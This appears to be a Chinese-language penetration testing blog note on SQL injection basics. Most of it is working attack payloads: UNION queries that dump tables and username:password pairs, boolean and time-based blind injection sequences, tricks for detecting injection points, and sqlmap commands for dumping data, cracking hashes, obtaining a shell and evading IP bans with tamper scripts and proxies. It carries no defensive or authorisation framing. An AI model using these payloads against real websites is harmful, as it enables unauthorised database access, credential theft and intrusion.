web滲透筆記之sql注入(基礎篇)

sql注入簡介

sql注入攻擊是由插入或注入一段從客戶端輸入的sql語句引起的。一個成功的sql注入利用(exploit)能從數據庫讀取敏感數據,改變數據庫數據(通過Insert/Update/Delete),在數據庫執行(execute)管理員操作(比如關閉數據庫管理系統DBMS),在DBMS文件系統上回復指定文件的內容和在一些場景下執行操作系統命令(command)。sql注入攻擊是一種注入攻擊,它將sql命令注入到數據平面(data-plan)使得影響預先設置的sql命令的執行結果。

判斷是否存在注入


1.字符型

法一:

法二:

  • 1’ and 1=1 # (1’ and 1=1- -+)
  • (#或–代表註釋的意思,用- -時後需加空格,或用+也可執行成功)
    例:select * from table where name =‘article’ and 1=1- -+’(- -+可將後面的註釋掉)

說明存在字符型注入

2.數字型

http://www.xxx.com/xxx.asp?n=22’ 返回錯誤(網頁消失)
http://www.xxx.com/xxx.asp?n=22 and 1=1 返回正常
http://www.xxx.com/xxx.asp?n=22 and 1=2返回錯誤

說明存在數字型注入

猜解SQL查詢語句中的字段


http://www.xxx.com/xxx.asp?n=22 order by n
n爲數字,從1開始,當查詢到n+1時報錯,則字段數爲n

http://www.xxx.com/xxx.asp?n=22 union select 1,2…n from admin
// admin爲猜解的表名

order by 查詢幾個字段 然後union select 1,2…查看相關字段(回顯id代表的含義)。例如union select user(),database()
2.在這裏插入圖片描述

3.獲取數據庫中的表:

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    //字符型
id =-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

4.獲取表中的字段名

id =1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users ’# //若'字符被轉義則可換成十六進制形式
id=-1 union select version(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=data) 
//data 和users爲表名

5.獲取數據:

id=-1 union select version(),(select thekey from data) //thekey是字段名

7.下載數據

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

例:

讀出所有庫:

http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA

讀出所有表:

http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables(admin) where table_schema=database()

mysql4.1以上版本支持concat函數

a. 執行語句

union select 1,2,3,4,group_concat(table_name),6,7,8,9,10 from information_schema.tables where table_schema=0x77677978797765626D6973  

結果爆出 admin等表

b. 執行:

 and 1=2 union select 1,2,3,4,group_concat(column_name),6,7,8,9,10 from
    information_schema.columns where table_name=0x61646D696E

結果爆出:  username,password  等一些 字段

c.執行:

 and 1=2 union select 1,2,3,4,group_concat(username,0x3a,password),6,7,
    8,9,10 from admin
結果爆出:字段內容

sql盲注

1.判斷是否存在注入,注入是字符型還是數字型

輸入1'and 1=1 #,顯示存在
輸入1'and 1=2 #,顯示不存在:說明存在

2.猜解當前數據庫名

  • 輸入1' and length(database())=1 #,顯示不存在
  • 輸入1' and length(database())=2 #,顯示不存在;
  • 輸入1' and length(database())=3 #,顯示存在;
    二分法猜名字
  • 輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);
  • 輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在,說明數據庫名的第一個字符的ascii值小於122(小寫字母z的ascii值)

3.猜解數據庫中的表名

首先猜解數據庫中表的數量:

1and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在\
1and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說明數據庫中共有兩個表,接着挨個猜解表名:

  1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
    ...
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說明表名長爲9

表名猜測一樣用二分法

4.猜解表中的字段名

1and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在

1and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

猜字段名

1and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在

1and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
  • 長度爲7,然後二分法猜表名

5.猜數據 ,一樣思路

基於時間的盲注:

1.判斷是否存在注入,注入是字符型還是數字型

輸入1’ and sleep(5) #,感覺到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;
說明字符型注入

2.猜解當前數據庫名

 1and if(length(database())=1,sleep(5),1) # 沒有延遲
...
1and if(length(database())=4,sleep(5),1) # 明顯延遲

說明數據庫名長度爲4個字符。
接着採用二分法猜解數據庫名:

1and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲1and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲
1and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲

說明數據庫名的第一個字符爲小寫字母d。

3.猜解數據庫中的表名

首先猜解數據庫中表的數量:

* 1and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
* 1and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說明數據庫中共有兩個表。

接着挨個猜解表名:

* 1and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
** 1and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說明第一個表名長度爲9。二分法猜出表名

4.猜解表中的字段名

首先猜解表中字段的數量:

 1and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲1and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說明users表中有8個字段。

接着挨個猜解字段名:

 1and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲1and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲**

說明users表的第一個字段長度爲7個字符。
採用二分法即可猜解出各個字段名。

5.猜解數據

同樣採用二分法。

post注入

1.輸入賬號密碼,用bp抓包
2.複製包的內容到txt文本
3.用sqlmap注入 sqlmap.py -r post.txt

Access數據庫注入

1.不支持時間盲注
2.只能爆破錶名,不建議手工,可用啊D,sqlmap等工具


其他注入點檢測方法

http://xxx.com/news.asp?id=123-1

如果返回的頁面和前面不同,是另一則新聞,則表示有注入漏洞,是數字型的注入漏洞;

URL地址後面加上 -0,

http://xxx.com/news.asp?id=123-0

返回的頁面和前面的頁面相同,加上-1,返回錯誤頁面,則也表示存在注入漏洞,是數字型的。

在URL的地址後面加上’%2B’

http://xxx.com/news.asp?id=123
http://xxx.com/news.asp?id=123 ‘%2B’,返回的頁面和1同;
http://xxx.com/news.asp?id=123 '%2Basdf,返回的頁面和1不同,或者說未發現該條記錄,或者錯誤,

則表示存在注入點,是文本型的。


sqlmap的使用

1.對文本時使用 -r 在這裏插入圖片描述
對鏈接時使用 -u
得到的基本信息如下

在這裏插入圖片描述
2.得到當前數據庫名

在這裏插入圖片描述
在這裏插入圖片描述
3.對數據庫表名進行枚舉
在這裏插入圖片描述
在這裏插入圖片描述
4.用–columns對錶中的列進行枚舉
在這裏插入圖片描述
在這裏插入圖片描述
5.獲取user表中的name和password字段
在這裏插入圖片描述
密碼爲密文,SQLmap會自動詢問,是否爆破,選擇“是”即可開始使用SQLMAP自帶的字典進行爆破。
6。獲取shell,選擇後臺語言
在這裏插入圖片描述
注意
-p 指定參數
-data 選擇哪些數據
–proxy=域名:端口 代理
–technique 指定sqlmap使用的探測技術,默認情況下會測試所有的方式。
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基於時間延遲注入)

is-dba 當前用戶權限

dbs 所有數據庫

current-db 網站當前數據庫

users 所有數據庫用戶
current-user 當前數據庫用戶
tables 參數:列表名
columns 參數:列字段
dump 參數:下載數據
測試時防止ip被ban,可用以下方法:
python sqlmap.py -u 鏈接 -p query_type --random-agent --tamper=space2comment --delay=3.5 --time-sec=60 --proxy=http://ip:端口

tamper “space2comment.py” 將空格替換成/**/
equaltolike.py, 將等號替換成like
symboliclogical.py 用 && 替換 and ,用 || 替換 or

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章